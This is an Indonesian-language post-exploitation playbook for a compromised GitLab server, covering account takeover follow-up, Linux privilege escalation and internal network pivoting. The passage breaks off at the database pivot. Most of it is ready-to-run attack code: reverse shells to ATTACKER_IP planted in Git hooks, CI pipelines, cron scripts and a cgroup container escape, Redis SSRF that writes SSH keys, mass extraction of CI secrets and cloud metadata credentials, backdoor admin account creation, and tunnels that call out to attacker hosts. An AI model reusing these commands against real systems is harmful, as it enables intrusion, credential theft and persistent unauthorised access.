GitLab Post-Exploitation
- Siti
Table of Contents
Daftar Isi
- Bab 1 — Post-Exploitation setelah Account Takeover
- 1.1 Prerequisite
- 1.2 Generate Personal Access Token
- 1.3 Reconnaissance via Admin Panel
- 1.4 RCE via Server-Side Git Hooks (GitLab EE)
- 1.5 RCE via CI/CD Pipeline (jika ada Runner)
- 1.6 RCE tanpa Runner — Authenticated CVE
- 1.7 SSRF via Webhook
- 1.8 Extract Secrets (CI Variables, Repos, Snippets)
- 1.9 Cloud Metadata Pivot
- 1.10 Persistence
- 1.11 Prioritas Jalur Eksploitasi
- Bab 2 — Privilege Escalation Linux
- Bab 3 — Pivoting ke Internal Network
Bab 1 — Post-Exploitation setelah Account Takeover
1.1 Prerequisite
Sebelum melanjutkan, pastikan kamu sudah memiliki:
- Akses login sebagai admin/root di GitLab target (misal via CVE-2023-7028)
- Mengetahui versi GitLab yang berjalan (untuk menentukan CVE yang applicable)
- Mengetahui tipe instalasi (Omnibus, source, Docker, Kubernetes)
1.2 Generate Personal Access Token
Langkah pertama setelah login: buat API token untuk otomasi.
Via UI:
User Settings → Access Tokens → Add new tokenURL langsung:
https://gitlab.target.com/-/user_settings/personal_access_tokensScopes yang dibutuhkan:
| Scope | Fungsi |
|---|---|
api | Full API access |
read_repository | Clone private repos |
write_repository | Push ke repo (untuk CI trigger) |
sudo | Impersonate user lain (admin only) |
admin_mode | Akses admin API endpoints |
Via API (jika sudah punya session cookie):
1curl -sk -X POST "https://gitlab.target.com/api/v4/personal_access_tokens" \
2 -H "Cookie: _gitlab_session=<session_cookie>" \
3 -d "name=backup&scopes[]=api&scopes[]=sudo"Simpan token ini — kunci untuk semua langkah selanjutnya.
1.3 Reconnaissance via Admin Panel
Sebelum exploit, kumpulkan informasi server dari Admin Area.
a) System Info
Admin Area → Monitoring → System InfoInformasi yang didapat:
- OS & Kernel — versi exact (berguna untuk kernel exploit)
- CPU / Memory / Disk — ukuran server
- GitLab version — menentukan CVE yang berlaku
- Gitaly version & address — internal service
- Tipe instalasi — Omnibus / Source / Docker
b) Health Check & Background Jobs
Admin Area → Monitoring → Health Check
Admin Area → Monitoring → Background Jobs (Sidekiq)Informasi:
- Status internal services (Redis, PostgreSQL, Gitaly)
- Redis connection string (bisa dipakai untuk RCE via Redis)
- Sidekiq job queue info
c) Network & Runners
Admin Area → Settings → Network
Admin Area → CI/CD → RunnersInformasi:
- Outbound request restrictions (whitelist/blacklist)
- Apakah ada Runner aktif, tipe executor (shell/docker/kubernetes)
- Runner tags & status
Via API:
1# System info
2curl -sk -H "PRIVATE-TOKEN: <token>" \
3 "https://gitlab.target.com/api/v4/metadata"
4
5# List all runners
6curl -sk -H "PRIVATE-TOKEN: <token>" \
7 "https://gitlab.target.com/api/v4/runners/all"
8
9# Application settings
10curl -sk -H "PRIVATE-TOKEN: <token>" \
11 "https://gitlab.target.com/api/v4/application/settings"Yang paling penting dicari:
Runner executor = "shell" + status = "online" → langsung RCE di server
Redis address terekspos → RCE via Redis
Cloud environment (AWS/GCP metadata) → credential theft1.4 RCE via Server-Side Git Hooks (GitLab EE)
Syarat: GitLab Enterprise Edition (EE) — fitur ini tidak ada di CE.
Server-side Git hooks adalah shell script yang dieksekusi langsung di server GitLab setiap kali ada event Git (push, receive, update).
Cara Setup
Admin Area → Projects → (pilih project) → Repository → Git HooksAtau jika punya filesystem access (via CVE lain), tulis langsung:
/var/opt/gitlab/git-data/repositories/<namespace>/<project>.git/custom_hooks/post-receiveContoh Hook untuk Recon
Buat file post-receive:
1#!/bin/bash
2# Tulis output ke file yang bisa diakses via repo
3exec > /tmp/recon.txt 2>&1
4id
5whoami
6hostname
7ip addr
8cat /etc/passwd
9ls -la /home/
10cat /opt/gitlab/embedded/service/gitlab-rails/config/database.yml
11cat /opt/gitlab/embedded/service/gitlab-rails/config/secrets.ymlContoh Hook untuk Reverse Shell
1#!/bin/bash
2bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1Trigger
Push commit apapun ke project tersebut → hook otomatis dieksekusi di server.
1git clone https://oauth2:<token>@gitlab.target.com/root/project.git
2cd project
3echo "trigger" >> README.md
4git add . && git commit -m "update" && git pushDi mesin attacker:
1nc -lvnp 44441.5 RCE via CI/CD Pipeline (jika ada Runner)
Jika dari recon ditemukan runner aktif dengan shell executor:
Buat Project + Pipeline
1# 1. Buat project baru
2curl -sk -H "PRIVATE-TOKEN: <token>" \
3 -d "name=infra-test&visibility=private" \
4 "https://gitlab.target.com/api/v4/projects"
5
6# 2. Clone
7git clone https://oauth2:<token>@gitlab.target.com/root/infra-test.git
8cd infra-test.gitlab-ci.yml — Recon
1stages:
2 - recon
3
4info:
5 stage: recon
6 script:
7 - id && whoami && hostname
8 - ip addr
9 - uname -a
10 - cat /etc/os-release
11 - ls -la /home/
12 - env | sort
13 - cat /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml 2>/dev/null || true
14 - cat /opt/gitlab/embedded/service/gitlab-rails/config/database.yml 2>/dev/null || true.gitlab-ci.yml — Reverse Shell
1stages:
2 - build
3
4shell:
5 stage: build
6 script:
7 - bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1'Push & Cek Output
1git add . && git commit -m "init" && git pushLihat output pipeline:
https://gitlab.target.com/root/infra-test/-/pipelinesCatatan executor type:
| Executor | Impact |
|---|---|
shell | Command jalan langsung di OS host → full RCE |
docker | Command jalan di container → perlu container escape |
kubernetes | Command jalan di pod → perlu pod escape |
1.6 RCE tanpa Runner — Authenticated CVE
Jika tidak ada runner dan bukan EE (tidak ada server hooks), gunakan CVE post-auth:
| CVE | Teknik | Target Versi | Impact |
|---|---|---|---|
| CVE-2022-2185 | Malicious project import → RCE | < 15.1.1 | RCE di server |
| CVE-2022-2992 | GitHub import → Redis SSRF → RCE | < 15.3.2 | RCE di server |
| CVE-2024-0402 | Workspace file write | < 16.7.2 | Arbitrary file write |
| CVE-2023-2825 | Path traversal (attachments) | 16.0.0 | Arbitrary file read |
| CVE-2023-4998 | Scan execution policy bypass | < 16.4.1 | Pipeline execution |
| CVE-2024-6385 | Pipeline trigger as other user | < 17.1.2 | Pipeline sebagai user lain |
Contoh: CVE-2022-2185 (Project Import RCE)
1# 1. Buat malicious export tarball dengan symlink / embedded payload
2# (gunakan public PoC atau buat manual)
3
4# 2. Import via API
5curl -sk -H "PRIVATE-TOKEN: <token>" \
6 -F "path=pwned" \
7 -F "[email protected]" \
8 "https://gitlab.target.com/api/v4/projects/import"Contoh: CVE-2022-2992 (GitHub Import → Redis RCE)
1# 1. Setup fake GitHub API yang redirect ke Redis (gopher://)
2# 2. Trigger GitHub import di GitLab yang mengarah ke fake GitHub
3# 3. GitLab SSRF ke Redis → inject cron job / SSH key1.7 SSRF via Webhook
Admin bisa membuat webhook yang mengirim HTTP request dari server GitLab ke target apapun termasuk internal network.
Setup
Project → Settings → Webhooks → Add webhookTarget Internal Services
1# Redis (default port)
2http://127.0.0.1:6379/
3
4# Gitaly
5http://127.0.0.1:8075/
6
7# PostgreSQL (biasanya tidak HTTP, tapi bisa probe)
8http://127.0.0.1:5432/
9
10# Sidekiq
11http://127.0.0.1:8082/
12
13# Cloud Metadata
14http://169.254.169.254/latest/meta-data/
15
16# Internal network scan
17http://10.0.0.1/
18http://172.16.0.1/
19http://192.168.1.1/Trigger & Baca Response
- Set webhook URL ke target internal
- Push commit ke project → webhook fired
- Cek webhook log di Settings → Webhooks → Recent deliveries
- Response body dari internal service akan terlihat di log
Redis RCE via SSRF (jika Redis tidak pakai auth)
Jika bisa SSRF ke Redis, kirim payload untuk menulis SSH key:
http://127.0.0.1:6379/Dengan body yang mengandung Redis commands:
FLUSHALL
SET hack "\n\nssh-rsa AAAA... attacker@host\n\n"
CONFIG SET dir /var/lib/redis/.ssh/
CONFIG SET dbfilename authorized_keys
SAVE1.8 Extract Secrets (CI Variables, Repos, Snippets)
Jalur ini tidak langsung memberi RCE, tapi credentials yang ditemukan sering kali menjadi jalan masuk ke server.
a) CI/CD Variables (Instance-level)
1curl -sk -H "PRIVATE-TOKEN: <token>" \
2 "https://gitlab.target.com/api/v4/admin/ci/variables"b) CI/CD Variables (Per-project)
1# List semua project ID dulu
2curl -sk -H "PRIVATE-TOKEN: <token>" \
3 "https://gitlab.target.com/api/v4/projects?per_page=100" | jq '.[].id'
4
5# Lalu per project
6curl -sk -H "PRIVATE-TOKEN: <token>" \
7 "https://gitlab.target.com/api/v4/projects/<ID>/variables"c) Deploy Keys
1curl -sk -H "PRIVATE-TOKEN: <token>" \
2 "https://gitlab.target.com/api/v4/deploy_keys"d) Snippets
1curl -sk -H "PRIVATE-TOKEN: <token>" \
2 "https://gitlab.target.com/api/v4/snippets"e) Clone & Scan Repos
1# Clone semua private repos
2curl -sk -H "PRIVATE-TOKEN: <token>" \
3 "https://gitlab.target.com/api/v4/projects?per_page=100&visibility=private" \
4 | jq -r '.[].http_url_to_auth'
5
6# Clone
7git clone https://oauth2:<token>@gitlab.target.com/group/repo.git
8
9# Scan dengan trufflehog / noseyparker / gitleaks
10trufflehog git file://./repo --only-verified
11noseyparker scan ./repoFile yang sering berisi credentials:
.env / .env.production / .env.local
config/database.yml
config/secrets.yml
config/credentials.yml.enc
docker-compose.yml
k8s/*.yaml / helm/values.yaml
terraform/*.tf / terraform.tfstate
ansible/inventory/* / ansible/group_vars/*Jika ditemukan SSH private key → langsung bisa masuk server:
1echo "<key_content>" > key.pem
2chmod 600 key.pem
3ssh -i key.pem deploy@server-ip1.9 Cloud Metadata Pivot
Jika GitLab di-host di cloud (AWS/GCP/Azure), credentials cloud bisa diambil via SSRF webhook atau CI pipeline.
AWS
1# Via webhook SSRF atau CI script
2curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
3
4# Response = role name, lalu:
5curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>Output:
1{
2 "AccessKeyId": "ASIA...",
3 "SecretAccessKey": "...",
4 "Token": "...",
5 "Expiration": "..."
6}Gunakan credentials ini:
1export AWS_ACCESS_KEY_ID="ASIA..."
2export AWS_SECRET_ACCESS_KEY="..."
3export AWS_SESSION_TOKEN="..."
4aws sts get-caller-identity
5aws ec2 describe-instancesGCP
1curl -s -H "Metadata-Flavor: Google" \
2 http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/tokenAzure
1curl -s -H "Metadata: true" \
2 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"1.10 Persistence
Setelah mendapatkan akses, setup persistence:
| Metode | Cara | Level |
|---|---|---|
| Backdoor admin user | POST /api/v4/users dengan admin: true | GitLab |
| Personal Access Token | Buat token tambahan dengan expiry panjang | GitLab |
| SSH Key | Tambah SSH key ke admin user | GitLab + Server |
| Deploy Key | Tambah deploy key dengan write access | GitLab |
| Server-side hook | Hook yang reconnect ke C2 setiap push | Server |
| Cron job | Via reverse shell, tulis cron | Server |
| SSH authorized_keys | Via shell, inject public key | Server |
Buat Backdoor Admin User
1curl -sk -H "PRIVATE-TOKEN: <token>" \
2 -d "[email protected]" \
3 -d "password=SecureP@ss123" \
4 -d "username=sysop" \
5 -d "name=System Operator" \
6 -d "admin=true" \
7 -d "skip_confirmation=true" \
8 "https://gitlab.target.com/api/v4/users"Tambah SSH Key ke Akun
1curl -sk -H "PRIVATE-TOKEN: <token>" \
2 -d "title=workstation" \
3 -d "key=ssh-rsa AAAA... attacker@host" \
4 "https://gitlab.target.com/api/v4/user/keys"1.11 Prioritas Jalur Eksploitasi
Flowchart untuk menentukan jalur berdasarkan kondisi target:
Login sebagai Admin
│
├─ Buat Personal Access Token
│
├─ Recon: Admin Panel → System Info, Runners, Settings
│
├─ GitLab EE?
│ ├─ Ya → Server-side Git Hooks → RCE langsung
│ └─ Tidak ↓
│
├─ Ada Runner (shell executor)?
│ ├─ Ya → CI Pipeline → RCE di Runner host
│ └─ Tidak ↓
│
├─ Versi vulnerable ke post-auth CVE?
│ ├─ Ya → Exploit CVE (import RCE, path traversal, dll)
│ └─ Tidak ↓
│
├─ Webhook SSRF → probe internal services
│ ├─ Redis tanpa auth? → RCE via Redis
│ ├─ Cloud metadata? → Credential theft → Cloud access
│ └─ Internal services → Enumerate & pivot
│
├─ Extract secrets dari CI vars, repos, snippets
│ ├─ SSH key ditemukan? → SSH ke server
│ ├─ Cloud creds ditemukan? → Cloud console access
│ ├─ DB creds ditemukan? → Database access
│ └─ Tidak ada ↓
│
└─ Register runner sendiri → baca protected/masked CI variables
└─ Cari credentials yang hanya muncul saat pipeline berjalanBab 2 — Privilege Escalation Linux
Setelah mendapat shell di server (via CI pipeline, Git hook, atau SSH key), kemungkinan besar kamu masuk sebagai user non-root seperti git, gitlab-runner, atau deploy. Bab ini membahas cara escalate ke root.
2.1 Situasi Awal
Cek posisi kamu saat ini:
1id # uid, gid, groups
2whoami # current user
3hostname # nama server
4uname -a # kernel version (penting untuk kernel exploit)
5cat /etc/os-release # distro & versionHasil yang umum setelah GitLab exploitation:
| Masuk via | User |
|---|---|
| CI Runner (shell executor) | gitlab-runner |
| Git Hook | git |
| SSH key dari repo | deploy, ubuntu, ec2-user |
| Reverse shell dari CI | gitlab-runner |
2.2 Stabilkan Shell
Reverse shell biasanya tidak stabil (no TTY, no autocomplete). Upgrade dulu:
1# Opsi 1: Python PTY
2python3 -c 'import pty; pty.spawn("/bin/bash")'
3
4# Opsi 2: script
5script /dev/null -c bash
6
7# Setelah dapat bash, fix terminal:
8# (di reverse shell)
9export TERM=xterm-256color
10export SHELL=/bin/bash
11stty rows 50 cols 200
12
13# Full upgrade (Ctrl+Z dulu di nc, lalu):
14# stty raw -echo; fg
15# reset2.3 Enumerasi Otomatis
Jika bisa download tool, jalankan enumeration script:
1# LinPEAS (paling lengkap)
2curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash
3
4# Atau download dulu, transfer via nc/curl
5# Di attacker:
6python3 -m http.server 8000
7# Di target:
8curl http://ATTACKER_IP:8000/linpeas.sh | bash
9
10# Alternatif: linux-exploit-suggester
11curl -sL https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bashJika tidak bisa download apapun, lakukan manual (section 2.4-2.10 di bawah).
2.4 SUID / SGID Binaries
SUID binary = berjalan dengan permission owner-nya (biasanya root), bukan user yang menjalankan.
1# Cari semua SUID binaries
2find / -perm -4000 -type f 2>/dev/null
3
4# Cari SGID
5find / -perm -2000 -type f 2>/dev/null
6
7# Gabungan
8find / -perm -u=s -o -perm -g=s -type f 2>/dev/nullCek setiap binary yang ditemukan di GTFOBins — cari bagian “SUID”.
Contoh umum yang bisa diexploit:
1# find (SUID)
2find . -exec /bin/bash -p \;
3
4# vim (SUID)
5vim -c ':!/bin/bash'
6
7# python3 (SUID)
8python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
9
10# env (SUID)
11env /bin/bash -p
12
13# cp (SUID) — overwrite /etc/passwd
14# buat password hash dulu:
15openssl passwd -1 -salt abc password123
16# hasilnya misal: $1$abc$xyz...
17# lalu:
18echo 'hacker:$1$abc$xyz...:0:0:root:/root:/bin/bash' >> /tmp/passwd
19cp /tmp/passwd /etc/passwd
20su hacker # password: password123
21
22# pkexec (CVE-2021-4034 / PwnKit) — sangat umum
23# jika pkexec ada dan versi lama:
24# download & compile PwnKit exploit2.5 Sudo Misconfig
1# Cek apa saja yang bisa di-sudo tanpa password
2sudo -lOutput contoh:
User gitlab-runner may run the following commands:
(ALL) NOPASSWD: /usr/bin/docker
(ALL) NOPASSWD: /usr/bin/git
(ALL) NOPASSWD: /usr/bin/rsyncEksploitasi berdasarkan binary:
1# sudo docker → instant root
2sudo docker run -v /:/mnt --rm -it alpine chroot /mnt bash
3
4# sudo git
5sudo git -p help config
6# di pager, ketik:
7!/bin/bash
8
9# sudo rsync
10sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
11
12# sudo find
13sudo find / -exec /bin/bash \;
14
15# sudo vim/vi
16sudo vim -c ':!/bin/bash'
17
18# sudo env
19sudo env /bin/bash
20
21# sudo awk
22sudo awk 'BEGIN {system("/bin/bash")}'
23
24# sudo less/more
25sudo less /etc/shadow
26# ketik: !/bin/bash
27
28# sudo tar
29sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
30
31# sudo pip / pip3
32TF=$(mktemp -d)
33echo "import os; os.execl('/bin/bash','bash','-p')" > $TF/setup.py
34sudo pip install $TF
35
36# sudo ALL tanpa password (jackpot)
37sudo su -
38# atau
39sudo bashSelalu cek GTFOBins dengan filter “Sudo” untuk binary yang ditemukan.
2.6 Cron Jobs
Cari cron jobs yang berjalan sebagai root tapi file script-nya writable oleh user kamu:
1# Lihat crontab system
2cat /etc/crontab
3ls -la /etc/cron.d/
4ls -la /etc/cron.daily/
5ls -la /etc/cron.hourly/
6
7# Lihat crontab user lain (jika readable)
8cat /var/spool/cron/crontabs/* 2>/dev/null
9
10# Cari GitLab-specific cron
11cat /var/spool/cron/crontabs/git 2>/dev/null
12cat /var/spool/cron/crontabs/gitlab-runner 2>/dev/null
13
14# Monitor proses yang berjalan (detect hidden cron)
15# Tanpa tools:
16for i in $(seq 1 120); do ps aux | sort -u > /tmp/ps_$i; sleep 1; done
17diff /tmp/ps_1 /tmp/ps_120
18
19# Dengan pspy (jika bisa upload)
20# pspy mendeteksi semua proses baru tanpa root
21./pspy64Jika menemukan cron script yang writable:
1# Misal: /opt/scripts/backup.sh dijalankan root via cron
2ls -la /opt/scripts/backup.sh
3# -rwxrwxrwx 1 root root ... /opt/scripts/backup.sh ← world-writable!
4
5# Inject reverse shell
6echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/scripts/backup.sh
7
8# Atau inject SUID bash
9echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
10# Tunggu cron berjalan, lalu:
11/tmp/rootbash -p2.7 Writable Files & Services
1# File konfigurasi penting yang writable
2ls -la /etc/passwd # kalau writable → tambah user root
3ls -la /etc/shadow # kalau readable → crack password
4ls -la /etc/sudoers # kalau writable → instant root
5ls -la /etc/crontab # kalau writable → inject cron
6ls -la /etc/systemd/system/ # kalau writable → buat service root
7
8# Cari semua file writable oleh user saat ini
9find / -writable -type f 2>/dev/null | grep -v proc
10
11# Cari folder writable
12find / -writable -type d 2>/dev/null | grep -v proc
13
14# Systemd service yang writable
15find /etc/systemd/ -writable -type f 2>/dev/null
16find /lib/systemd/ -writable -type f 2>/dev/nullJika /etc/passwd writable:
1# Generate password hash
2openssl passwd -1 -salt hacker password123
3
4# Tambah user root
5echo 'hacker:$1$hacker$TDQGqWPbYRmMwMCRyrLDR.:0:0:root:/root:/bin/bash' >> /etc/passwd
6
7# Login
8su hacker
9# password: password1232.8 Capabilities
Linux capabilities memberi permission spesifik ke binary tanpa full SUID.
1# Cari binary dengan capabilities
2getcap -r / 2>/dev/nullCapabilities yang bisa di-privesc:
1# cap_setuid → bisa ganti UID ke 0 (root)
2# Contoh: python3 dengan cap_setuid
3python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
4
5# cap_dac_read_search → bisa baca file apapun
6# Contoh: tar dengan cap_dac_read_search
7tar czf /tmp/shadow.tar.gz /etc/shadow
8tar xzf /tmp/shadow.tar.gz
9cat etc/shadow # crack dengan john/hashcat
10
11# cap_net_raw → sniffing (bukan privesc langsung tapi berguna)
12# cap_sys_admin → mount filesystem, bisa escape container
13# cap_sys_ptrace → inject ke proses root2.9 Kernel Exploit
Jika semua metode di atas gagal, cek apakah kernel vulnerable:
1uname -r # kernel version
2cat /etc/os-release # distro versionExploit umum berdasarkan kernel:
| Kernel / CVE | Nama | Target |
|---|---|---|
| CVE-2021-4034 | PwnKit (pkexec) | Hampir semua Linux dengan polkit |
| CVE-2022-0847 | Dirty Pipe | Kernel 5.8 - 5.16.11 |
| CVE-2022-2588 | - | Kernel < 5.19 |
| CVE-2021-3156 | Baron Samedit (sudo) | Sudo 1.8.2 - 1.9.5p1 |
| CVE-2016-5195 | Dirty COW | Kernel 2.x - 4.x (lama tapi masih ada) |
| CVE-2023-0386 | OverlayFS | Kernel < 6.2 |
| CVE-2023-32233 | Netfilter nf_tables | Kernel < 6.4 |
1# PwnKit (paling sering berhasil)
2# Download pre-compiled atau compile sendiri
3curl -sL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
4chmod +x PwnKit
5./PwnKit # instant root
6
7# Dirty Pipe (kernel 5.8+)
8# Compile exploit, jalankan — overwrite SUID binary
9
10# Baron Samedit (sudo vulnerability)
11sudoedit -s '\' $(python3 -c 'print("A"*1000)')
12# jika crash = vulnerableCatatan: Kernel exploit bisa menyebabkan crash. Gunakan sebagai opsi terakhir.
2.10 Docker / Container Escape
Jika kamu berada di dalam container (umum jika GitLab di-deploy via Docker):
1# Cek apakah di dalam container
2cat /proc/1/cgroup | grep -i docker
3ls /.dockerenv
4hostname # biasanya random hex string
5
6# Cek apakah docker socket mounted
7ls -la /var/run/docker.sockJika docker.sock accessible:
1# Mount host filesystem
2docker run -v /:/mnt --rm -it alpine chroot /mnt bash
3# Sekarang kamu root di HOST, bukan di container
4
5# Jika docker command tidak ada, pakai curl:
6curl -s --unix-socket /var/run/docker.sock \
7 -X POST "http://localhost/containers/create" \
8 -H "Content-Type: application/json" \
9 -d '{"Image":"alpine","Cmd":["chroot","/mnt","bash"],"Binds":["/:/mnt"],"Privileged":true}'Jika container privileged:
1# Cek
2cat /proc/self/status | grep CapEff
3# CapEff: 0000003fffffffff = privileged
4
5# Mount host disk
6mkdir /tmp/host
7mount /dev/sda1 /tmp/host
8chroot /tmp/host bashJika ada cap_sys_admin:
1# cgroup escape
2mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
3echo 1 > /tmp/cgrp/x/notify_on_release
4host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
5echo "$host_path/cmd" > /tmp/cgrp/release_agent
6echo '#!/bin/bash' > /cmd
7echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /cmd
8chmod +x /cmd
9echo 0 > /tmp/cgrp/x/cgroup.procs2.11 GitLab-Specific Privesc
Ada beberapa hal spesifik untuk server GitLab:
a) GitLab Rails Console (jika user git)
1# Jika masuk sebagai user "git" di Omnibus install:
2gitlab-rails console
3
4# Di dalam console (Ruby):
5user = User.find_by(username: 'root')
6user.password = 'NewPassword123!'
7user.password_confirmation = 'NewPassword123!'
8user.save!
9
10# Atau buat admin baru:
11user = User.new(username: 'hacker', email: '[email protected]', password: 'Pass1234!', password_confirmation: 'Pass1234!', admin: true)
12user.skip_confirmation!
13user.save!Ini tidak memberi root OS, tapi memberi full admin GitLab kembali jika token expired.
b) GitLab Secrets
1# Omnibus install — berisi secret key base, OTP key, dll
2cat /etc/gitlab/gitlab-secrets.json
3
4# Database credentials
5cat /var/opt/gitlab/gitlab-rails/etc/database.yml
6
7# GitLab config (SMTP creds, LDAP bind password, dll)
8cat /etc/gitlab/gitlab.rb | grep -i password
9cat /etc/gitlab/gitlab.rb | grep -i secret
10cat /etc/gitlab/gitlab.rb | grep -i key
11
12# Runner registration token
13cat /etc/gitlab-runner/config.tomlc) PostgreSQL Access (user git biasanya bisa)
1# Omnibus install — user git bisa akses DB tanpa password
2gitlab-psql -d gitlabhq_production
3
4# Atau langsung:
5psql -h /var/opt/gitlab/postgresql -U gitlab -d gitlabhq_production
6
7# Query berguna:
8SELECT username, encrypted_password FROM users WHERE admin = true;
9SELECT variable, value FROM ci_variables;
10SELECT key, value FROM application_settings;2.12 Checklist Ringkasan
Dapat shell sebagai non-root
│
├─ 1. Stabilkan shell (Python PTY / script)
│
├─ 2. sudo -l
│ └─ Ada entry NOPASSWD? → GTFOBins → root
│
├─ 3. SUID binaries
│ └─ find / -perm -4000 → GTFOBins → root
│
├─ 4. Capabilities
│ └─ getcap -r / → cap_setuid? → root
│
├─ 5. Cron jobs
│ └─ Script writable? → inject payload → tunggu → root
│
├─ 6. Writable files
│ └─ /etc/passwd writable? → tambah user → root
│
├─ 7. GitLab-specific
│ ├─ User git? → gitlab-rails console / gitlab-psql
│ └─ Baca gitlab-secrets.json, database.yml
│
├─ 8. Docker escape
│ └─ docker.sock accessible? → mount host → root di host
│
└─ 9. Kernel exploit (opsi terakhir)
└─ PwnKit / Dirty Pipe / Baron SameditBab 3 — Pivoting ke Internal Network
Setelah punya akses di server GitLab (apalagi sudah root), server ini menjadi pivot point untuk masuk lebih dalam ke internal network.
3.1 Situasi Awal
Server GitLab biasanya posisinya di network:
Internet → Firewall → DMZ / Internal → [GitLab Server] → Internal Services
│
├── Database Server (PostgreSQL)
├── Redis Server
├── Object Storage (MinIO/S3)
├── LDAP / Active Directory
├── Application Servers
├── CI/CD Target Servers (deployment)
└── Monitoring (Grafana, Prometheus)GitLab server punya akses ke banyak internal service — ini yang membuatnya valuable sebagai pivot.
3.2 Network Discovery
Pertama, mapping network dari dalam:
1# Interface & IP addresses
2ip addr
3ifconfig 2>/dev/null
4
5# Routing table — menunjukkan subnet lain yang reachable
6ip route
7route -n 2>/dev/null
8
9# ARP table — host yang pernah berkomunikasi
10ip neigh
11arp -a 2>/dev/null
12
13# DNS resolver — internal DNS server
14cat /etc/resolv.conf
15
16# Hosts file — mungkin ada internal hostname
17cat /etc/hosts
18
19# Koneksi aktif — menunjukkan service apa saja yang terkoneksi
20ss -tupln
21netstat -tupln 2>/dev/null
22
23# Koneksi established — server lain yang sedang terkoneksi
24ss -tupn state establishedDari GitLab config, extract internal addresses:
1# Database host
2grep -i host /var/opt/gitlab/gitlab-rails/etc/database.yml
3
4# Redis host
5grep -i redis /etc/gitlab/gitlab.rb | grep -v '#'
6
7# LDAP server
8grep -i ldap /etc/gitlab/gitlab.rb | grep -v '#'
9
10# SMTP server
11grep -i smtp /etc/gitlab/gitlab.rb | grep -v '#'
12
13# Object storage endpoint
14grep -i endpoint /etc/gitlab/gitlab.rb | grep -v '#'
15
16# Runner config (bisa punya IP internal)
17cat /etc/gitlab-runner/config.toml 2>/dev/null3.3 Port Scanning dari Dalam
Dari server GitLab, scan internal network. Kemungkinan besar tools standar tidak ada, jadi pakai apa yang tersedia:
Tanpa Tools (Pure Bash)
1# Ping sweep — cari host aktif di subnet
2for i in $(seq 1 254); do
3 (ping -c1 -W1 10.0.0.$i &>/dev/null && echo "10.0.0.$i UP") &
4done; wait
5
6# Port scan satu host (tanpa nmap)
7for port in 22 80 443 3306 5432 6379 8080 8443 9090 27017; do
8 (echo >/dev/tcp/10.0.0.5/$port) 2>/dev/null && echo "$port open"
9done
10
11# Scan range of hosts + common ports
12for host in $(seq 1 20); do
13 for port in 22 80 443 3306 5432 6379; do
14 (echo >/dev/tcp/10.0.0.$host/$port) 2>/dev/null && echo "10.0.0.$host:$port open"
15 done
16done 2>/dev/nullDengan Nmap (jika bisa upload)
1# Upload nmap static binary
2# Di attacker:
3python3 -m http.server 8000
4# Di target:
5curl http://ATTACKER_IP:8000/nmap-static -o /tmp/nmap && chmod +x /tmp/nmap
6
7# Quick scan subnet
8/tmp/nmap -sn 10.0.0.0/24
9
10# Port scan discovered hosts
11/tmp/nmap -sT -p 22,80,443,3306,5432,6379,8080,9090 10.0.0.0/24Port yang menarik:
| Port | Service | Pivot Value |
|---|---|---|
| 22 | SSH | Login ke server lain |
| 80/443 | HTTP/S | Web apps internal |
| 3306 | MySQL | Database access |
| 5432 | PostgreSQL | Database access |
| 6379 | Redis | Cache / session / RCE |
| 8080 | Alt HTTP | Admin panels, Jenkins, etc |
| 9090 | Prometheus | Metrics, info disclosure |
| 27017 | MongoDB | NoSQL database |
| 9200 | Elasticsearch | Data, log access |
| 389/636 | LDAP | Domain credentials |
| 88 | Kerberos | AD environment |
| 5985 | WinRM | Windows remote access |
| 3389 | RDP | Windows desktop |
3.4 Tunneling & Port Forwarding
Agar bisa akses internal service dari mesin attacker.
SSH Tunnel (jika punya SSH access ke GitLab server)
1# Local port forward — akses satu service internal
2# Akses PostgreSQL internal (10.0.0.5:5432) via localhost:5432
3ssh -L 5432:10.0.0.5:5432 git@gitlab-server
4
5# Akses web app internal (10.0.0.10:8080) via localhost:8080
6ssh -L 8080:10.0.0.10:8080 git@gitlab-server
7
8# Dynamic SOCKS proxy — akses SEMUA internal network
9ssh -D 1080 git@gitlab-server
10
11# Lalu set browser/tool pakai SOCKS5 proxy localhost:1080
12# Atau pakai proxychains:
13echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
14proxychains nmap -sT 10.0.0.0/24
15proxychains curl http://10.0.0.10:8080Chisel (jika tidak punya SSH, hanya reverse shell)
1# Di attacker — jalankan server
2./chisel server --reverse --port 9999
3
4# Di target (GitLab server) — connect back
5curl http://ATTACKER_IP:8000/chisel -o /tmp/chisel && chmod +x /tmp/chisel
6/tmp/chisel client ATTACKER_IP:9999 R:socks
7
8# Sekarang attacker punya SOCKS proxy di localhost:1080
9# Pakai proxychains untuk akses internal network
10proxychains nmap -sT 10.0.0.0/24Ligolo-ng (lebih stabil untuk pivoting berat)
1# Di attacker:
2./proxy -selfcert
3
4# Di target:
5./agent -connect ATTACKER_IP:11601 -ignore-cert
6
7# Di attacker (ligolo console):
8session # pilih session
9ifconfig # lihat interface target
10start # mulai tunnel
11
12# Tambah route di attacker
13sudo ip route add 10.0.0.0/24 dev ligolo
14# Sekarang bisa akses 10.0.0.x langsung dari attacker3.5 Pivot ke Database
GitLab pasti terkoneksi ke database. Credentials sudah kamu dapat dari Bab 2.
PostgreSQL (GitLab DB)
